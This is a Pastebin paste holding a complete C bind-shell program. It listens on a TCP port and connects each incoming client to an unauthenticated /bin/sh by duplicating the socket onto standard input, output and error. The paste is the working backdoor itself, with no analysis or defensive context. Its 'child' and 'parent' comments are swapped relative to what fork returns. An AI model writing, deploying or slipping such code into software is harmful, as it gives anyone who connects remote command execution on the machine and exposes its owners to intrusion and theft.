Guest User

Untitled

a guest
Feb 24th, 2018
266
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.75 KB | None | 0 0
  1. /*
  2. karthik@houseofkodai.in: 12 FEB 2018
  3. */
  4. #include <sys/socket.h>
  5. #include <netinet/in.h>
  6. #include <unistd.h>
  7. #include <netdb.h>
  8.  
  9. #define ERR -1
  10.  
  11. // crude - avoiding stdlib - does not deal with negative/errors
  12. int s2i(char* s) {
  13. int i=0;
  14. for (char *p = s; *p != '\0'; *p++) {
  15. if ((*p >= '0') && (*p <= '9')) {
  16. i = (i * 10) + (*p - '0');
  17. } else {
  18. break;
  19. }
  20. }
  21. return i;
  22. }
  23.  
  24. int main(int argc, char **argv) {
  25. unsigned int port = 5002;
  26. if ( argc > 2 ) {
  27. port=s2i(argv[2]);
  28. }
  29. if (0 == port) return 1;
  30.  
  31. char *execargs[] = {"/bin/sh", 0};
  32. int svrfd;
  33.  
  34. struct sockaddr_in sa;
  35. sa.sin_family = AF_INET; //2
  36. sa.sin_port = htons(port);
  37.  
  38. struct hostent *host;
  39. if ( argc > 1 ) {
  40. if (NULL == (host = gethostbyname(argv[1]))) {
  41. return 1;
  42. }
  43. sa.sin_addr = *((struct in_addr *)host->h_addr);
  44. } else {
  45. //sa.sin_addr.s_addr = INADDR_ANY; //0
  46. sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); //0
  47. }
  48.  
  49. if (ERR == (svrfd = socket(AF_INET, SOCK_STREAM, 0))) return 1;
  50.  
  51. int o = 1;
  52. setsockopt(svrfd, SOL_SOCKET, SO_REUSEADDR, &o, sizeof(o)); //a luxury we don't have space for
  53.  
  54. if (ERR == bind(svrfd, (struct sockaddr *) &sa, sizeof(sa))) return 1;
  55.  
  56. if (ERR == listen(svrfd, 0)) return 1;
  57.  
  58. while(1) {
  59. struct sockaddr_in ca;
  60. socklen_t calen = sizeof(struct sockaddr_in);
  61. int clientfd = accept(svrfd, (struct sockaddr *)&ca, &calen);
  62. if (ERR == clientfd) return 1;
  63. int pid = fork();
  64. if (ERR == pid) return 1;
  65. if (pid) {
  66. //child
  67. close(svrfd);
  68. dup2(clientfd, 0);
  69. dup2(clientfd, 1);
  70. dup2(clientfd, 2);
  71. execve(execargs[0], &execargs[0], NULL);
  72. //comes here only if execve fails
  73. close(clientfd);
  74. }
  75. //parent
  76. close(clientfd);
  77. }
  78. return 0;
  79. }
Add Comment
Please, Sign In to add comment